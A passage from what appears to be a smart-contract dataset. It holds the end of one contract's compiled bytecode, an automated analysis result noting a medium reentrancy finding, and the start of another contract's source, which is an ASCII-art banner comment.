5260600190565b6020808252601290820152711a5b9d985b1a59081c1c9bdc1bdcd85b125960721b604082015260600190565b6020808252600b908201526a1a5b9a5d1a585b1a5e995960aa1b604082015260600190565b60208082526010908201526f696e76616c696420616374696f6e546f60801b604082015260600190565b60208082526019908201527f696e73756666696369656e74206e617469766520746f6b656e00000000000000604082015260600190565b6020808252600f908201526e1858dd1a5bdb88195e1958dd5d1959608a1b604082015260600190565b60208082526012908201527126b4b734b7b71d1d3737ba1036b2b6b132b960711b604082015260600190565b6020808252600c908201526b63616c6c206661696c75726560a01b604082015260600190565b90815260200190565b9182526001600160a01b0316602082015260400190565b600088825260018060a01b0380891660208401528088166040840152861515606084015260e06080840152611e1d60e0840187611a84565b941660a08301525060c0015295945050505050565b60405181810167ffffffffffffffff81118282101715611e4e57fe5b604052919050565b60005b83811015611e71578181015183820152602001611e59565b83811115611e80576000848401525b50505050565b6001600160a01b03811681146113f957600080fd5b80151581146113f957600080fdfea2646970667358221220df1df3951320f57d8b52fab2171d399aad1931e90788c40da2928ad7d7f3c43864736f6c63430007050033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
| 5,989 |
0xAF9513091360177EaFF352Dd66F4498b8c468001
|
/*
zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz
zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz
zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz
zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz
zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz
zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz
zzzzzzzzzzzzzzzzzz<.......'izzzzzzzz+.....:7zzzzzzzz!...;zzzzzzzzz~.......!zzzzzzzz7,.......!zzzzzzi'...*zzz~.+zzzzzz|'.......*zzzzzzzzzzi'.....*zzzzzzzzzz|'.......7zzzzzz<.......'zzzzzzzzzzzzzzzz
zzzzzzzzzzzzzzzz\'` .><<<<*7zzzzzz^'` '>; .,Tzzzzzz~ ,zzzzzzzzz, ~<, `.;zzzzzz7' ;***izzzzzzL` `'<z, !zzzzzz?` !+` `'<zzzzzz|'. !+` `'<zzzzzz?'. `^<<<<<zzzzzzz+ `>**?zzzzzzzzzzzzzzzz
zzzzzzzzzzzzzzzzi '7zzzzzzzzzzzz; ,z+ .\zzzzzz~ :zzzzzzzzz, ;z~ ~zzzzzz7' `'''^zzzzzzL` `'` ^zzzzzz?` `?T. +zzzzzz?` `?c. +zzzzzz< `izzzzzzzzzzzz+ ''',zzzzzzzzzzzzzzzz
zzzzzzzzzzzzzzzzi '7*```'izzzzzz; ,z+ .\zzzzzz~ :zzzzzzzzz, ;z~ ~zzzzzz7' ;LLLczzzzzzL``+*. ^zzzzzz?` `?T. +zzzzzz?` `?c. +zzzzzz< `ii'```zzzzzzz+ `?L|Lzzzzzzzzzzzzzzzz
zzzzzzzzzzzzzzzzi '7< `Lzzzzzz; ,z+ .\zzzzzz; :zzzzzzzzz, ;z~ ~zzzzzz7' ^zzzzzzzzzzi``?7L*. ^zzzzzz?` `|T. +zzzzzz?` `?c. +zzzzzz< `ii` 7zzzzzz+ .Tzzzzzzzzzzzzzzzzzzz
zzzzzzzzzzzzzzzz7*; .,<^ `izzzzzzi*~ `'` .*|7zzzzzz; `'''~7zzzz, `'` :*izzzzzz7' `.''!zzzzzzL``?zz7' ^zzzzzz?` .. !*Tzzzzzz7?+` .. !?czzzzzzv?^` .'^<` 7zzzzzz+ .'''zzzzzzzzzzzzzzzz
zzzzzzzzzzzzzzzzzz\<<<?z7**7zzzzzzzz\<<<<<|zzzzzzzzzi<<<<><<?zzzzz|<<<<<<<izzzzzzzzz?<<<<<<<izzzzzz7**7zz7|<<<izzzzzz7*<<<<<<<Tzzzzzzzzzz7*<<<<<TzzzzzzzzzzT*<<*7z*<zzzzzzzc<<<<<<<<zzzzzzzzzzzzzzzz
zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz
zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz
zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz
zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzztjjjjjjjjjjjjjjjjzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzfjjjjjjjjjjjyjjjnzzzzzzzzzzzzzzzzzzzzzzzz
zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzYwwwwwwwwwwwwwwwwzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzowwwwwwwwwwwwwwwjzzzzzzzzzzzzzzzzzzzzzzzz
zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzYwwwwwwwwwwwwwwwwzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzowwwwwwwwwwwwwwwjzzzzzzzzzzzzzzzzzzzzzzzz
zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzYwwwwwwwwwwwwwwwmzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzowwwwwwwwwwwwwwwjzzzzzzzzzzzzzzzzzzzzzzzz
zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzYwwwwwwwy|???????jjjjjjjjtzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzjyyjjjjji???????swwwwwwwjzzzzzzzzzzzzzzzzzzzzzzzz
zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzYwwwwwwwn~~~~~~~~mwwwwwwmYzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzmwwwwwwm^~~~~~~~Lwwwwwwwjzzzzzzzzzzzzzzzzzzzzzzzz
zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzYwwwwwwwn~~~~~~~~mwwwwwwmYzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzmwwwwwwm^~~~~~~~Lwwwwwwwjzzzzzzzzzzzzzzzzzzzzzzzz
zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzYwwwwwwwn~~~~~~~~mwwwwwwwYzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzmwwwwwwm^~~~~~~~Lwwwwwwwjzzzzzzzzzzzzzzzzzzzzzzzz
zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzztjjjjjjjI<<<<<<<<TccccccTnffffffffffffffffffffffffffffffffffffffffTTTcTTTc*<<<<<<<Jwwwwwwwjzzzzzzzzzzzzzzzzzzzzzzzz
zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzJfjjjfjjf~~~~~~~~nwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwm~~~~~~~~7jjjjjjj5wwwwwwwjzzzzzzzzzzzzzzzzzzzzzzzz
zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzJfjjjjjjf~~~~~~~~nwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwm~~~~~~~~7jjjjjjj5wwwwwwwjzzzzzzzzzzzzzzzzzzzzzzzz
zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzJfjjjjjjf~~~~~~~~nwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwm~~~~~~~~7jjjjjjj5wwwwwwwjzzzzzzzzzzzzzzzzzzzzzzzz
zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzJfffffffncc\\\\\\;;;;;;;;izzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz;;;;;;;;*|||||||Ywwwwwwwjzzzzzzzzzzzzzzzzzzzzzzzz
zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzYwwwwwwwf^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^;~~~~~~~Lwwwwwwwjzzzzzzzzzzzzzzzzzzzzzzzz
zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzYwwwwwwwf^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^;~~~~~~~Lwwwwwwwjzzzzzzzzzzzzzzzzzzzzzzzz
zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzYwwwwwwwf^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^;~~~~~~~Lwwwwwwwjzzzzzzzzzzzzzzzzzzzzzzzz
zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzztnnnnYnnn}{{{{{}z^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^++++++++zwwwwwwwjzzzzzzzzzzzzzzzzzzzzzzzz
zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzjwwwwwwwf^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^fwwwwwwwwwwwwwwwjzzzzzzzzzzzzzzzzzzzzzzzz
zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzjwwwwwwwf^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^fwwwwwwwwwwwwwwwjzzzzzzzzzzzzzzzzzzzzzzzz
zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzjwwwwwwwf^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^fwwwwwwwwwwwwwwwjzzzzzzzzzzzzzzzzzzzzzzzz
zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzztnnYYYnnmdddddddUJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJUdddddddddddddddUwwwwwwwozzzzzzzzzzzzzzzz
zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzjwwwwwwm8@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@Qzzzzzzzzzzzzzzzz
zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzjwwwwwwm8@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@Qzzzzzzzzzzzzzzzz
zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzjwwwwwwm8@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@Qzzzzzzzzzzzzzzzz
zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzjwwwwwwm8@@@@@@@@@@@@@@@@QQQQQQQQ@@@@@@@@@QQQQQQQ@@@@@@@@@@@@@@@@@@@@@@@@@QQQQQQQQ@@@@@@@@QQQQQQQQQ@@@@@@@@@@@@@@@#tJtttttJzzzzzzzz
zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzjwwwwwwm8@@@@@@@@@@@@@@@R @@@@@@@@7^^^^^^^k@@@@@@@@@@@@@@@@@@@@@@@R @@@@@@@@7^^^^^^^ijjjjjjjjjjjjjjjywwwwwwwozzzzzzzz
zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzjwwwwwwm8@@@@@@@@@@@@@@@R @@@@@@@@7^^^^^^^k@@@@@@@@@@@@@@@@@@@@@@@R @@@@@@@@7^^^^^^^ijjjjjjjjjjjjjjjywwwwwwwozzzzzzzz
zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzjwwwwwwm8@@@@@@@@@@@@@@@R @@@@@@@@7^^^^^^^k@@@@@@@@@@@@@@@@@@@@@@@R @@@@@@@@7^^^^^^^ijjjjjjjjjjjjjjjywwwwwwwozzzzzzzz
zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzjwwwwwwm8@@@@@@@@QQQQQQQ6,'''''',QQQQQQQQi!!!!!!!oQQQQQQQ@@@@@@@@@QQQQQQQ6,'''''',QQQQQQQQi^^^^^^^LYYYYYYYYYYYYYYY}SSmmSSS5xttttttt
zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzjwwwwwwm8@@@@@@@R ;@@@@@@@@~~~~~~~~~~~~~~~~~~~~~~~~Z@@@@@@@R ;@@@@@@@@~~~~~~~~!^^^^^^^^^^^^^^^^^^^^^^^<jjjjjjjymmmmmwww
zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzjwwwwwwm8@@@@@@@R ;@@@@@@@@~~~~~~~~~~~~~~~~~~~~~~~~a@@@@@@@R ;@@@@@@@@~~~~~~~~!^^^^^^^^^^^^^^^^^^^^^^^<jjjjjjjywwwwwwww
zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzjwwwwwwm8@@@@@@@R ;@@@@@@@@~~~~~~~~~~~~~~~~~~~~~~~~a@@@@@@@R ;@@@@@@@@~~~~~~~~!^^^^^^^^^^^^^^^^^^^^^^^<jjjjjjjymwwwwwww
zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzjwwwwwww8@@@@@@@R ;@@@@@@@@~~~~~~~~~~~~~~~~~~~~~~~~a@@@@@@@R ;@@@@@@@@~~~~~~~~!^^^^^^^^^^^^^^^^^^^^^^^<jfjjffjjmwwwwwww
zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzjwwwwwwwi~~~~~~~~~~~~~~~^mwwwwwwwmwmmmmmS^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~!^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^<fjjjjjjj
zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzjwwwwwwwL~~~~~~~~~~~~~~~^mwwwwwwwwwwwwwwm^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~!^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^<fjjjjjjj
zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzjwwwwwwwL~~~~~~~~~~~~~~~^mwwwwwwwwwwwwwwm^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~!^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^<fjjjjjjj
zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzjwwwwwwwL~~~~~~~~~~~~~~~^mwmwwmmmmmmmmmmS^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~!^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^<fjjjjjjj
zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzjwwwwwwwL~~~~~~~~~~~~~~~!tttttttttttttttJ!~~~~~~~~~~~~~~~?yyjyyyyz~~~~~~~~~~~~~~~~~~~~~~~~!^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^++++++++
zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzjwwwwwwwi~~~~~~~~~~~~~~~!zzzzzzzzzzzzzzzz!~~~~~~~~~~~~~~~Lwwwwwwwu~~~~~~~~~~~~~~~~~~~~~~~~!^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzjwwwwwwwi~~~~~~~~~~~~~~~!zzzzzzzzzzzzzzzz!~~~~~~~~~~~~~~~iwwwwwwwu~~~~~~~~~~~~~~~~~~~~~~~~!^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzjwwwwwwwL~~~~~~~~~~~~~~~!zzzzzzzzzzzzzzzz!~~~~~~~~~~~~~~~Lwwwwwwwn~~~~~~~~~~~~~~~~~~~~~~~~!^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzjwwwwwwwc;!!!!!!;~~~~~~~^y5o5oooooooooo55uxxsssssssssssssL+++++++^~~~~~~~~~~~~~~~~;!!!!!!!^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzjwwwwwww7^^^^^^^!~~~~~~~^mwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwi~~~~~~~~~~~~~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzjwwwwwww7^^^^^^^!~~~~~~~^mwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwi~~~~~~~~~~~~~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzjwwwwwww7^^^^^^^!~~~~~~~^mwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwi~~~~~~~~~~~~~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzztnnYYnnnu{}{}}}}7!!!!!!!!++++++++++++++++++++++++++++++++;~~~~~~~~~~~~~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzjwwwwwwwf^^^^^^^!~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzjwwwwwwwf^^^^^^^!~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzjwwwwwwwf^^^^^^^!~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzsfffffff{zzzzzzzL~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~;;;;;;;;zzzzzzzz=^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzYwwwwwwwu~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~;^^^^^^^^mwwwwwww*^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzYwwwwwwwn~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~;^^^^^^^^mwwwwwww*^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzYwwwwwwwn~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~;^^^^^^^^mwwwwwww*^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzYwwwwwww5Tccccccccccccccccccccccccccccccccccccccccccccccc7zzzzzzzz\\\\\\\\+^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzYwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwww^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzYwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwww^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzYwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwww^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzYwwwwwwwozzzzzzzzzzzzzzzJyoaaaaaaaaaaaaaaaaaaaaaoyzzzzzzzzcTTTTTTc;;;;;;;;!^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzYwwwwwwwf^^^^^^^^^^^^^^^^zjjjjjjjjjjjjjjjjjjjjjjjz^^^^^^^!~~~~~~~~~~~~~~~~!^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
